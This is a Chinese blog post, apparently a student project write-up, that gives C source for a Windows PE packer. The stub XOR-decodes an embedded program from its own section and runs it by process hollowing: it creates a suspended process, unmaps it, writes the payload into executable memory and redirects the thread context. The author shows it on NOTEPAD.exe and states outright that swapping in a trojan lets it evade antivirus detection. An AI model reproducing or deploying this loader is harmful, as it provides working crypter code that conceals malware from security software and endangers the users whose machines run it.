    typedef struct PE{
    	int e_lfanew;
    	short NumberOfSections;
    	short SizeOfOptionalHeader;
    	int EntryPoint;
    	int ImageBase ;
    	int SectionAlignment ;
    	int SizeOfImage;
    	int FileAlignment;
    	int SizeOfHeaders;
    }headers;
    
    typedef struct sec{
    	int PointerToRawData;
    	int SizeOfRawData;
    	int VirtualAddress;
    	int VirtualSize;
    }section;
    
    headers headers_file;
    section sections;
    
    char get_char_data(char* start,int distance){
    	char data = *(start+distance);
    	return data;
    }
    short get_short_data(char* start,int distance){
    	short data =*(short*) (start+distance);
    	return data;
    }
    int get_int_data(char* start,int distance){
    	int data =*(int*) (start+distance);
    	return data;
    }
    void getInfo(char* start){
    	headers_file.e_lfanew = get_int_data(start,60);
    	start = start+headers_file.e_lfanew;
    	headers_file.NumberOfSections = get_short_data(start,6);
    	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
    	start = start+24;
    	headers_file.EntryPoint = get_int_data(start,16);
    	headers_file.ImageBase = get_int_data(start,28);
    	headers_file.SectionAlignment = get_int_data(start,32);
    	headers_file.SizeOfImage = get_int_data(start,56);
    	headers_file.FileAlignment = get_int_data(start,36);
    	headers_file.SizeOfHeaders = get_int_data(start,60);
    }
    char* Get_src(char* start){
    	char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(int i=0;i<headers_file.NumberOfSections;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		sections.VirtualSize = get_int_data(start_section,8);
    		start_section = start_section+40;
    	}
    	return start+sections.PointerToRawData;
    }
    void Decode(char* src,int size){
    	for(int i =0;i<size;i++)
    	{
    		src[i] ^='4310';
    	}
    }
    char* memcopy_image(char* start_file){
    	char* start_image;
    	start_image = (char*)malloc(headers_file.SizeOfImage);
    	memset(start_image,0,headers_file.SizeOfImage);
    	memcpy(start_image,start_file,headers_file.SizeOfHeaders);
    	int i;
    	char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(i=0;i<headers_file.NumberOfSections;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		sections.VirtualSize = get_int_data(start_section,8);
    		memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
    		start_section = start_section+40;
    	}
    	return start_image;
    }
    /*VOID ModificationBaseRel(IN LPVOID ImageBuffer, DWORD newImageBase) {
                PIMAGE_DOS_HEADER pDosHeader = NULL; //DOs 头
                PIMAGE_NT_HEADERS pNTHeader = NULL; //NT头
                PIMAGE_FILE_HEADER pFileHeader = NULL; // 标准PE头
                PIMAGE_OPTIONAL_HEADER pOptionHerader = NULL; // 可选PE头
                PIMAGE_SECTION_HEADER pSectionHeader = NULL; // 节表
                PIMAGE_BASE_RELOCATION pBaseRelocation = NULL; //重定位表
             
                pDosHeader = (PIMAGE_DOS_HEADER)ImageBuffer;
                pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
                pFileHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + sizeof(DWORD));
                pOptionHerader = (PIMAGE_OPTIONAL_HEADER)((DWORD)pFileHeader + IMAGE_SIZEOF_FILE_HEADER);
                pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pOptionHerader + pFileHeader->SizeOfOptionalHeader);
                pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pDosHeader + pOptionHerader->DataDirectory[5].VirtualAddress);
             
                pOptionHerader->ImageBase = newImageBase;
             
                int index = 0;
                while (pBaseRelocation->VirtualAddress != 0) {
             
                    int count = (pBaseRelocation->SizeOfBlock - 8) / 2;
                    PWORD addr = (PWORD)((DWORD)pBaseRelocation + 8);
             
                    for (int i = 0; i < count; i++) {
                        DWORD height4 = addr[i] >> 12;
                        if (height4 == 3) {
                            DWORD low12 = addr[i] & 0x0fff;
                            DWORD rva = pBaseRelocation->VirtualAddress + low12;
                            PDWORD addr = (PDWORD)((DWORD)ImageBuffer + rva);
                            *addr = *addr - pOptionHerader->ImageBase + newImageBase;
                        }
                    }
                    index++;
                    pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pBaseRelocation + pBaseRelocation->SizeOfBlock);
                }
            }*/
    int main(int argc, char* argv[])
    {
    	char FilePath[255] = {0};
    	GetModuleFileName(NULL,FilePath,255);
    	char currentDirectory[255] = {0};
    	GetCurrentDirectory(256,currentDirectory);
    	//printf("%s",currentDirectory);
    	int flen;
    	FILE* fp;
    	fp = fopen(FilePath,"rb");
    	if(fp == NULL){
    		printf("file error");
    	}
    	fseek(fp,0L,SEEK_END);
    	flen = ftell(fp);
    	fseek(fp,0L,SEEK_SET);
    	char* buffer;
    	buffer = (char*)malloc(flen);
    	fread(buffer,flen,1,fp);
    	fclose(fp);
    
    	getInfo(buffer);
    	char* src = Get_src(buffer);
    	Decode(src,sections.SizeOfRawData);
    	getInfo(src);
    	char* image = memcopy_image(src);
    
    	STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi;
        si.cb = sizeof(si);
     
        //以挂起的方式创建进程                                   
        CreateProcess(
            NULL,                    // name of executable module                              
            FilePath,                // command line string                             
            NULL,                   // SD           
            NULL,                      // SD                       
            FALSE,                   // handle inheritance option                            
            CREATE_SUSPENDED,       // creation flags                            
            NULL,                    // new environment block                               
            currentDirectory,       // current directory name                              
            &si,                  // startup information                               
            &pi                   // process information                              
        );
    	CONTEXT contx;
        contx.ContextFlags = CONTEXT_FULL;
         
        GetThreadContext(pi.hThread, &contx);
     
        //获取入口点                                
        DWORD dwEntryPoint = contx.Eax;
     
        //获取ImageBase                                  
        char* baseAddress = (CHAR *)contx.Ebx + 8;
        DWORD imageBase = 0;
        SIZE_T byteSize = 0;
     
        //因为属于别人程序所以使用这个读
        ReadProcessMemory(pi.hProcess, baseAddress, &imageBase, 4, &byteSize);
    	typedef long NTSTATUS;
        typedef NTSTATUS(__stdcall *pfnZwUnmapViewOfSection)(
    		IN HANDLE ProcessHandle,
            IN LPVOID BaseAddress
         );
             
    	pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
    	ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
        if (!ZwUnmapViewOfSection)
        {
            ::TerminateThread(pi.hThread, 2);
            ::WaitForSingleObject(pi.hThread, INFINITE);
            return 0;
        }
            //卸载文件外壳镜像
        DWORD a = 0;
        a = ZwUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
    	LPVOID status = NULL;
        //指定区域分配地址
        status = VirtualAllocEx(pi.hProcess,
            (LPVOID)headers_file.ImageBase, headers_file.SizeOfImage,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
    	/*if (status == NULL) {
            //判断有没有重定位
            if (isRelocation(image)) {
                ::TerminateThread(pi.hThread, 2);
                ::WaitForSingleObject(pi.hThread, INFINITE);
                return 0;
            }
            status = VirtualAllocEx(pi.hProcess,
                NULL, headers_file.SizeOfImage,
                MEM_RESERVE | MEM_COMMIT,
                PAGE_EXECUTE_READWRITE);
            if (status == 0) {
                ::TerminateThread(pi.hThread, 2);
                ::WaitForSingleObject(pi.hThread, INFINITE);
                return 0;
            }
            //修复重定位
            ModificationBaseRel(image, (DWORD)status);
    
        }*/
    
    	SIZE_T srcResult = 0;
        WriteProcessMemory(pi.hProcess, status, image, headers_file.SizeOfImage, &srcResult);
        //修正context结构
        SIZE_T oepResult = 0;
        WriteProcessMemory(pi.hProcess, baseAddress, &headers_file.ImageBase, sizeof(DWORD), &oepResult);
        contx.Eax = headers_file.EntryPoint + headers_file.ImageBase;
     
        SetThreadContext(pi.hThread, &contx);
            //记得恢复线程
        ResumeThread(pi.hThread);
    	
    	return 0;
    }
    
    • 效果展示

    在物理主机中,总是被360检测为病毒,此过程在虚拟中进行。我采用笔记本程序NOTEPAD.exe程序作为原程序,进行加壳

     生成了加壳后的程序,命名为4310.exe

    运用PE工具,与NOTEPAD.exe进行pe结构比对

     

     可以看到pe结构根本不同,因为这里分析的是壳子程序的PE结构,但双击运行

     

     运行的是壳子程序,但是壳子程序在4GB虚拟内存中,把自身卸载掉,然后换上存储在节中的原程序(此处就是NOTEPAD.exe),也就达到如此效果,如果把NOTEPAD.exe换成木马程序,就能实现文件免杀的效果。

    四、总结

    这个项目从刚开学就开始做了,中间停滞了一段时间(复习考研),导致后来继续的时候,一些模块丢失,不能把逆向进阶和加壳的程序代码加到PE工具图形界面中,有些遗憾,但是预期效果都达到了,下一步的学习就是向内核(0环)进阶。

  • 相关阅读:
    KVM源代码阅读--内核版本3.17.4
    最新的裸机联想笔记本装win7系统/SSD(固态硬盘)上安装win7系统/联想K4450A i7装win7系统
    Vmaware复制后的虚拟机不能上网问题解决
    KVM基于X86硬件辅助的虚拟化技术实现机制【转】
    KVM和QEMU简介
    笔记--[基于完全虚拟化的安全监控技术研究_张丽(2013)]
    win8预装系统环境下安装win7问题以及双操作系统安装解决
    VM 操作系统实例化(基于 KVM 的虚拟化研究及应用--崔泽永(2011))的论文笔记
    VMware vsphere Hypervisor、VMware vsphere和VMware Workstation小记
    虚拟化、(完)全虚拟化、半虚拟化和准虚拟化技术个人总结
  • 原文地址:https://www.cnblogs.com/srq111/p/13128494.html
Copyright © 2011-2022 走看看